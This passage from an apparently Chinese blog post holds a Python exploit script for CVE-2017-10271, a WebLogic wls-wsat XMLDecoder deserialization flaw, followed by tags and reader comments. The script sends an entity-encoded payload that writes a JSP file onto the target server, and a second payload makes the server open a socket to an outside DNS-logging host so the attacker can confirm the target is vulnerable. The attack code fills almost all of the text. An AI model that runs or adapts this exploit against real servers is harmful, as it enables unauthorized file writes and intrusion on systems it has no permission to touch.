#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x46;&#x69;&#x6c;&#x65;&#x4f;&#x75;&#x74;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x22;&#x2f;&#x3e;&#x3c;&#x69;&#x6e;&#x70;&#x75;&#x74;&#x20;&#x74;&#x79;&#x70;&#x65;&#x3d;&#x22;&#x68;&#x69;&#x64;&#x64;&#x65;&#x6e;&#x22;&#x20;&#x70;&#x61;&#x74;&#x68;&#x3d;&#x22;&#x3c;&#x25;&#x3d;&#x61;&#x70;&#x70;&#x6c;&#x69;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x2e;&#x67;&#x65;&#x74;&#x52;&#x65;&#x61;&#x6c;&#x50;&#x61;&#x74;&#x68;&#x28;&#x22;&#x2f;&#x22;&#x29;&#x20;&#x25;&#x3e;&#x22;&#x3e;&#x3c;&#x25;&#x72;&#x65;&#x73;&#x70;&#x6f;&#x6e;&#x73;&#x65;&#x2e;&#x73;&#x65;&#x74;&#x53;&#x74;&#x61;&#x74;&#x75;&#x73;&#x28;&#x34;&#x30;&#x34;&#x29;&#x3b;&#x25;&#x3e;</string></void><void method="close"/>
            </object>
        </java>
      </java>
    </work:WorkContext>
  </soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'''
    try:
        response = requests.post(exp_url, data=payload,headers=headers, timeout=60, verify=False,allow_redirects = False)
        if response.status_code == 404:
            return
        shell_url = ("{domain}/bea_wls_internal/bb1fe939c9ec5.jsp".format(domain=domain))
        rep = requests.get(shell_url,headers=headers,timeout=60, verify=False,allow_redirects = False)
        if rep.status_code==404 and "path=" in rep.content:
            get_path = re.findall(r'path="(.*?)"',rep.content)
            if len(get_path)>0:
                print domain+"\tsuccess\t"+get_path[0]
    except Exception as e:
        print str(e)
        return False

def check_dnslog(host):
    verify_url = "http://0cx.cc/api.php?apikey=xxxxxxxxxxxx&action={action}&domain={host}"
    try:
        verify_rep = requests.get(verify_url.format(host=host,action='dnslog'),timeout=60, verify=False,allow_redirects = False)
        if verify_rep.content.find(host)!=-1:
            return True
    except Exception as e:
        return False
    finally:
        requests.get(verify_url.format(host=host,action='clearlog'),timeout=60, verify=False,allow_redirects = False)

def verify(domain):
    exp_url = ("{domain}/wls-wsat/CoordinatorPortType".format(domain=domain))
    newurlparse = urlparse(domain)
    host = newurlparse.netloc.replace(':','_').replace('.','_')+'_'+str(randint(1000,9999))

    payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
  <soapenv:Header> 
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
      <java> 
        <void class="java.net.Socket"> 
          <string>{host}.tscan.xxx.info</string>
          <int>3000</int>
        </void> 
      </java> 
    </work:WorkContext> 
  </soapenv:Header>  
  <soapenv:Body/> 
</soapenv:Envelope>'''
    try:
        resp = requests.get(exp_url,headers=headers,timeout=60, verify=False,allow_redirects = False)
        if resp.status_code == 404:
            return
        response = requests.post(exp_url, data=payload.format(host=host),headers=headers, timeout=60, verify=False,allow_redirects = False)
    except Exception as e:
        print str(e)
        return
    if check_dnslog(host):
        print domain+"\tsuccess"
    else:
        check_shell(domain)

def main(host):
    if host.startswith('http'):
        domain = host
    else:
        domain = "http://"+domain
    verify(domain.strip('/'))

if __name__ == "__main__":
    import sys
    if len(sys.argv)>=2:
        main(sys.argv[1])
    else:
        print "python %s http://www.baidu.com" % (sys.argv[0])

标签:wls-wsat, CVE-2017-10271

添加新评论 »

分类
最新文章
最近回复
  • 没穿底裤: 最近发现的新版本可以装在LINUX了。但是API有点变化
  • 没穿底裤: 暂时好像没有看到这个功能.
  • 没穿底裤: 这个只是一个分析,并不是使用方法哟
  • 没穿底裤: 抱歉,很久没有打理了。会不会你使用的是12版本。目前还没有遇到过这种情况
  • bao song: http://0cx.cc/php_decode_shell.jspx 这个怎么用,代码提示...